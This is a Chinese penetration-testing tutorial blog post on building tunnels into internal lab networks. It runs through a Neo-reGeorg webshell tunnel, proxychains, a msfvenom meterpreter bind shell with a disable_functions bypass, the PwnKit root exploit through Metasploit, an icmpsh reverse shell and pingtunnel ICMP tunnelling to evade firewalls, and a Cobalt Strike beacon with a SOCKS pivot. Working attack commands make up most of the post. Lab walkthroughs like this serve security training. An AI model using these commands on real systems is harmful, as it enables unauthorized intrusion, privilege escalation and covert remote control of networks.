内网渗透之设置内网代理隧道

内网渗透中创建内网隧道

一、Neo代理

在这里插入图片描述

环境简介:

VUL综合内网靶场

kali(攻击机):192.168.91.129
web-centos:192.168.91.143 (外网主机)(nginx反向代理)
web-ubantu主机:192.168.93.100 (内网主机)

1.1 、获取 Ubuntu的getshell

参考我的另一篇文章:红日内网靶场渗透实战笔记

https://windeskyblog.love/archives/37c95036-38c3-4f94-8173-3200e576fecd

通过网页中写进一句话木马连接蚁剑获取到Ubuntu的shell:获取到的是普通用户的权限。
在这里插入图片描述

1.2 、内网主机提权

利用MSF中漏洞进行提权
(1)、msf要能连接ubuntu

(2)、利用木马

(3)、在kali中创建一个代理

(4)、利用第三方软件Neo

在这里插入图片描述

(1)、创建Neo代理

Neo下载地址:https://github.com/L-codes/Neo-reGeorg

若下载速度缓慢,可将其换为csdn的镜像

mirrors / L-codes / Neo-reGeorg · GitCode

clone下来项目或下载后把Neo软件压缩包上传到Kali ,解压缩

在这里插入图片描述
在这里插入图片描述

利用 neoreg.py生成一个php木马文件

python3 neoreg.py generate -k 123456
# 123456 :设置将来解密这个文件的密码
# tunnel.php   

输入命令后会在根目录下生成neoreg_servers 文件夹,cd进去查看。

在这里插入图片描述

目前靶机的web环境使用的是php,所以我们使用tunnel.php就可以,把此文件利用蚁剑上传到之前getshell的ubuntu上。

在这里插入图片描述

用kali连接这个php文件来创建代理。

(2)、创建代理
python3 neoreg.py -k 123456 -u http://192.168.91.143/test_tunnel/tunnel.php

在这里插入图片描述
在这里插入图片描述

测试:

在kali上访问Ubuntu

kali的浏览器设置为代理ip和端口

在这里插入图片描述

首先先查看下phpinfo的信息

在这里插入图片描述

浏览器访问下内网ip:192.168.93.100,成功访问

在这里插入图片描述

在kali中创建全局代理,使得后续msf能连接到内网ip

vi /etc/proxychains4.conf
# 在文档的最后加上配置:  
socks5 127.0.0.1 1080

在这里插入图片描述

测试 :

proxychains curl http://192.168.93.100

在这里插入图片描述

成功访问到了内网ip

(3)、利用MSF拿下ubuntu的控制权

利用的还是木马

  • 创建一个木马(正向)
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f elf -o test_tunnel.elf

在这里插入图片描述

  • 将木马上传到Ubuntu(之前连外网的那个ip),利用蚁剑
    在这里插入图片描述

  • 将木马运行起来

需要绕过 disable_functions

在蚁剑的虚拟终端运用插件绕过disable_functions,cd到上传木马的目录中,修改执行权限为可执行权限

#授予木马执行权限:
chmod u+x test_tunnel.elf
#运行木马:
./test_tunnel.elf
(4)、msf框架连接木马
  • msf框架设置全局代理
#设置代理 
setg proxies socks5:127.0.0.1:1080

# 查看代理
setg proxies   

在这里插入图片描述

  • 连接木马
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
show options 
set rhost 192.168.93.120			#这里连接到内网的ip
set rport 4444
run

在这里插入图片描述

getshell的并不是管理员

(5)利用系统漏洞提权

搜可利用漏洞

search suggester
use 0
set session 2
run

在这里插入图片描述
在这里插入图片描述

提权:

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set payload linux/x64/meterpreter/bind_tcp
show options 
set session 2
set lport 6666
set rhost 192.168.93.120
run

在这里插入图片描述

可以看到成功getshell,拿到root的权限

二、ICMP隧道技术

ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。**最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。**在通常情况下,每个ping命令都有相应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。

常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。

pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具

下载地址:https://github.com/esrrhs/pingtunnelgithub.com

qt图像界面地址:https://github.com/esrrhs/pingtunnel-qt

icmpsh 是一个基于 ICMP(Internet Control Message Protocol)的 shell 工具,它允许你通过 ICMP 请求在目标主机上执行命令并获取结果。

这里主要讲解icmpsh工具,下载地址:https://github.com/inquisb/icmpsh

特点:利用ICMP协议和隧道工具,不需要端口就可以设置类似于代理的隧道技术。

2.1 、ICMP工具

image-20240617172853407

2.2 、实验环境

  1. Kali 攻击主机 (192.168.91.129)
  2. win2008 (跳板机 192.168.91.138 10.10.10.1)
  3. win7 (内网主机 10.10.10.110)
  4. win2003 (内网主机 10.10.10.2)

2.3 、测试ICMP协议

目的 :利用ICMP协议 ,把win2008反弹到Kali上 。

(1)在跳板机上启动ICMP服务

把ICMP安装拷贝上传到跳板机win2008,启动ICMP服务

icmpsh.exe -t 192.168.91.129		# ip 为攻击机kali的ip

在这里插入图片描述

(2)在kali上安装python2和pip环境

将ICMPSH工具上传到kali中,在当前路径下执行如下命令:

#python2 ./icmpsh_m.py [攻击机kali的IP] [跳板机IP]
python2 ./icmpsh_m.py 192.168.91.129 192.168.91.138

此命令如执行成功,就会把跳板机的操作权交给kali

Win2008d shell 就反弹到 Kali 上 控制,其中的数据交互是通过ICMP协议传递

附录:前置准备

要先关闭kali自身的ICMP

因为icmpsh工具要替代本身系统的ping命令的应答程序,所以需要输入如下命令来关闭本机信息的ICMP答应(如果要恢复,则设置为0)否则Shell的运行会不稳定

sysctl -w net.ipv4.icmp_echo_ignore_all=1

(1)、修改Kali的python默认版本

查看默认版本 :

└─# python --version
Python 3.10.9

因为Kali的python默认版本是 3.0 ,ICMP协议只支持2.x ,我们可以在Kali中临时修改 一下python版本,或者永久修改也可以 。

  • 查看Kali上python版本

    ll /usr/bin/python*
    
    • 修改版本为Python2

      临时修改

      alias python='/usr/bin/python2.7'
      

      永久修改

      update-alternatives --install /usr/bin/python python /usr/bin/python2 100
      

      查看python版本 :

      alias python='/usr/bin/python2.7'
      python --version 
      

      (2)、设置icmp_echo报文忽略不响应

      sysctl -w net.ipv4.icmp_echo_ignore_all=1
      

      (3)、下载ICMP并安装python-impacket

      下载icmp

      git clone https://github.com/inquisb/icmpsh.git
      

      安装python-impacket

      apt-get install python-impacket
      
    • 如果安装python-impacket遇到报错,可以直接从git上下载impacket并安装

      git clone https://github.com/SecureAuthCorp/impacket.git
      cd impacket 
      python setup.py install
      

在这里插入图片描述

2.4 、搭建内网的隧道(代理)

  1. 下载代理工具 (pingtunnel)

    https://github.com/esrrhs/pingtunnel

  2. 把pingtunnel工具 上传到跳板机并运行

image-202406181052112063. 在Kali中运行客户端并进行Socks5代理

./pingtunnel  -type client -l :8088 -s 192.168.91.138 -sock5 1  # 跳板机  IP

下载Linux版本的 pingtunnel

在kali中启动了一个服务端口 8088

image-20240618110619234

  1. 在kali浏览器中配置代理

    image-20240505164513431

  2. 浏览器访问内网服务

    image-20240505165239608

  3. 配置Kali全局代理

    vi /etc/proxychains4.conf
    # 在最后一行  如果前面有其他 比如 socks4 代理  暂时注释掉
    socks5 127.0.0.1 8088
    # 代理在使用时 前面需要加  proxychains
    

在windows 中数据无法传递 ,可以试试 linux

三、CS做代理

3.1 、实验环境

Kali 攻击机(192.168.91.129)

CS框架的安装所在的主机

  1. win2008 (跳板机 192.168.91.138 10.10.10.1)
  2. win7 (内网主机 10.10.10.110)
  3. win2003 (内网主机 10.10.10.2)

3.2 、启动CS框架

kali启动cs服务端:

./teamserver 192.168.91.129 admin123

客户端进行连接:

在这里插入图片描述
在这里插入图片描述

3.3 、CS框架上线跳板机

cs生成一个木马,上传到跳板机运行上线cs
在这里插入图片描述

3.3.1 、查看IP (跳板机IP)

在这里插入图片描述

3.3.2 、查看内网IP段

在这里插入图片描述
在这里插入图片描述

3.3.4 、端口扫描

首先把我们扫描到IP的加入Target中去 ,然后进行端口扫描 :

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

点击Scan开始扫描
在这里插入图片描述
在这里插入图片描述

3.3.5 、CS创建代理

在这里插入图片描述
在这里插入图片描述

点击Lanuch即可创建
在这里插入图片描述
进入开启cs服务端的kali,查看代理有没有被创建成功
在这里插入图片描述

可以看到开启了8888端口,说明代理创建成功。

测试:

看看能不能访问内网(win7)开启的服务,浏览器设置代理。

在这里插入图片描述
在这里插入图片描述

成功访问。

总结:

只要能设置代理的工具 ,都可以使用 。

代理的端口设置在 CS服务器所在的主机 (这里是Kali)

接下来的操作和MSF 、ICMP等设置代理打操作是一样的 。

  • 28
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值